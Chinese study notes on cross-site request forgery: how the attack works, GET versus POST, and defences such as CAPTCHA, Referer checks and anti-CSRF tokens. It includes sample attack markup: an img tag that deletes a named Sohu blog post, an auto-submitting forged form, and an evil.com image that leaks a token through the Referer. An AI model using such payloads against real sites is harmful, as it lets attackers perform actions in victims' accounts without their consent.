【红宝书笔记】跨站点请求伪造CSRF

CSRF全名Cross SIte Request Forgery,跨站点请求伪造。

1.简介(通过例子)

比如要删除一篇搜狐博客,登录Sohu博客后,只需要请求以下URL,就能把编号为“156714243”的博客删除

http://blog.sohu.com/manage/entry.do?m=delete&id=156714243

如果这个URL存在CSRF漏洞,我们就可以通过以下方法删除

  1. 攻击者在自己的域中构造一个页面:
    http://www.a.com/csrf.html
    
    内容为
    <img src="http://blog.sohu.com/manage/entry.do?m=delete&id=156714243" />
    
  2. 诱使目标用户(博客主)访问这个网页
  3. 打开网页只看到一张看不见的图片,同时博客已经被删除了

原因是因为在访问该网页时,图片标签<img>向搜狐服务器发送了一次GET请求,导致文章被删除。


2.CSRF进阶

2.1 浏览器的Cookie策略

2.2 P3P头的副作用

2.3 GET?POST?

在CSRF流行之初,有这样一个错误观点:

大多数CSRF攻击发起时,使用的HTML标签是<img><iframe><script>等带 “src” 属性的标签,这类标签只能发起一次 GET 请求,而不能发起 POST 请求。
CSRF攻击只能有GET请求发起,只要把重要的操作改成只允许POST请求,就能防止CSRF攻击

然而很多网站一些重要操作并未严格区分 GET 与 POST,攻击者可以使用 GET 来请求表单的提交地址。比如在PHP中,如果使用的是$_REQUEST, 而非$_POST获取变量,则会存在这个问题。

对于一个表单来说,用户往往也可以使用GET方式提交参数,比如对于这个表单:

<form action="/register" id="register" method="post" >
	<input type=text name="username" value="" />
	<input type=password name="password" value="" />
	<input type=submit name="submit" value="submit" />
</form>

用户可以构造一个GET请求来提交表单,如果服务端未对请求方法做限定,请求会通过:

http://host/register?username=test&password=passwd

如果服务器已经区分了GET 与 POST,对于攻击者来说,有若干个方法可以构造出一个POST请求。

最简单的方法,就是在一个页面中构造一个form表单,然后使用JavaScript自动提交这个表单。比如,攻击者在www.b.com/test.html中编写如下代码:

<form action="http://www.a.com/register" id="register" method="post" >
	<input type=text name="username" value="" />
	<input type=password name="password" value="" />
	<input type=submit name="submit" value="submit" />
</form>
<script>
	var f = document.getElementById("register");
	f.inputs[0].value = "test";
	f.inputs[1].value = "passwd";
	f.submit();
</script>

案例:2007年的Gmail CSRF漏洞攻击 from pdp。

2.4 Flash CSRF

除了URLRequest以外,Flash还可以使用getURL,loadVars等方式发起请求。
但是从IE8起,Flash发起的网络请求已经不再发送本地Cookie了。

2.5 CSRF Worm

案例:2008年,80sec公布的百度CSRF Worm。


3 CSRF防御

3.1 验证码

最简洁而有效的防御方法
CSRF往往是在用户不知情的情况下构造网络请求,而验证码强制用户必须通过交互才能进行最终请求。
但是出于用户体验考虑,不可能所有操作都用上验证码。

3.2 Referer Check

如:“论坛发帖”的操作,在正常情况下需要先登录到用户后台,或者访问有发帖功能的页面。在提交“发帖”的表单时,Referer的值必然是发帖表单所在的页面。如果Referer的值不是这个页面,甚至不是发帖网站的域,则极有可能是CSRF攻击。

缺陷:服务器并非什么时候都能取到Referer。很多用户出于隐私保护的考虑,限制了Referer的发送。在某些情况下,浏览器也不会发送Referer,比如从HTTPS跳转到HTTP,出于安全的考虑,浏览器也不会发送Referer。

虽然不能依赖于Referer Check 作为防御CSRF的主要手段,但通过Referer Check来监控CSRF攻击的发生,倒是一种可行的方法。

3.3 Anti CSRF Token

3.3.1 CSRF本质

CSRF为什么能够攻击成功?其本质原因是重要操作的所有参数都是可以被攻击者猜测到的
攻击者只能预测出URL的所有参数与参数值,才能成功构造一个伪造的请求;反之,攻击者将无法攻击成功。

所以,可以想到一个解决方案:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值。这是”不可预测性原则“的一种应用。
比如,一个删除操作的URL是:

http://host/path/delete?username=abc&item=123 

把其中的username参数改成哈希值:

http://host/path/delete?username=md5(salt+abc)&item=123

这样一来,攻击者在不知道salt的情况下,无法构造URL。而对于服务器来说可以从Session或者Cookie中取得username=abc,再结合salt对整个请求进行验证,正常请求会被认为是合法的。

这一解决方案的问题:

  • 加密后的URL会变得非常难读,影响用户体验
  • 加密的参数每次都变,用户无法收藏URL
  • 普通的参数如果也被加密或者哈希,将会给数据分析工作带来很大的困扰

所以我们需要使用更加通用的方法来解决,这就是Anti CSRF Token。

回到上面的URL,我们保持参数不变,新增一个参数Token,这个Token的值是随机的,不可预测:

http://host/path/delete?username=abc&item=123&token=[random(seed)]
  • Token必须足够随机,必须使用足够安全的随机数生成算法,或者采用真随机数生成器(物理随机)。

  • Token为用户和服务器共同持有,不能被第三者知晓。在实际应用时,Token可以放在用户的Session中,或者浏览器的Cookie中。

由于Token的存在,攻击者无法构造出完整的URL来发起CSRF攻击

用户提交请求时,服务器只需要验证:表单中的Token ?= 用户Session(or Cookie)中的Token。如果不一致,或者一个为空,则可能存在CSRF攻击。

3.3.2 Token的使用原则

Anti CSRF Token使用时有若干注意事项:

  • Token足够随机
  • 此Token的目的不是为了防止重复提交。所以为了使用方便,可以允许在一个用户的有效生命周期内,在Token消耗掉前都使用同一个Token。但是如果用户已经提交了表单,则这个Token已经消耗掉,应该再次重新生成一个新的Token。
  • 如果Token保存在Cookie中,而不是服务器端的Session中,则会带来一个新的问题。如果一个用户打开几个相同的页面同时操作,当某个页面消耗掉Token后,其他页面的表单内保存的还是被消耗掉的那个Token,因此其他页面的表单再次提交时,会出现Token错误。在这种情况下,可以考虑生成多个有效的Token,以解决多页面共存的场景。

最后,使用Token时应该注意Token的保密性。Token如果出现在某个页面的URL中,则可能会通过Referer的方式泄露。比如以下页面:

http://host/path/manage?username=abc&token=[random]

这个manage页面是一个用户面板,用户需要在这个页面提交表单或者单击”删除“按钮,才能完成删除操作。
在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片:
<img src="http://evil.com/notexist" />
则"http://host/path/manage?username=abc&token=[random]"会作为HTTP请求的Referer 发送到eveil.com的服务器上,从而导致Token泄露。
因此在使用Token时,应该尽量把Token放在表单中把敏感操作由GET改为POST,以form表单(或者AJAX)的形式提交,可以避免Token泄露。

此外,还有一些其他的途径可能导致Token泄露。比如XSS漏洞或者一些跨域漏洞,都可能让攻击者窃取到Token的值。
CSRF的Token仅仅用于对抗CSRF攻击,当网站还同时存在XSS漏洞时,这个方案就会变得无效,因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击下,攻击者完全可以请求页面后,读出页面内容里的Token值,然后再构造出一个合法的请求。这个过程可以称之为XSRF,和CSRF以示区分。

XSS带来的问题,应该使用XSS的防御方案予以解决,否则CSRF的Token防御就是空中楼阁。安全防御的体系是相辅相成、缺一不可的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值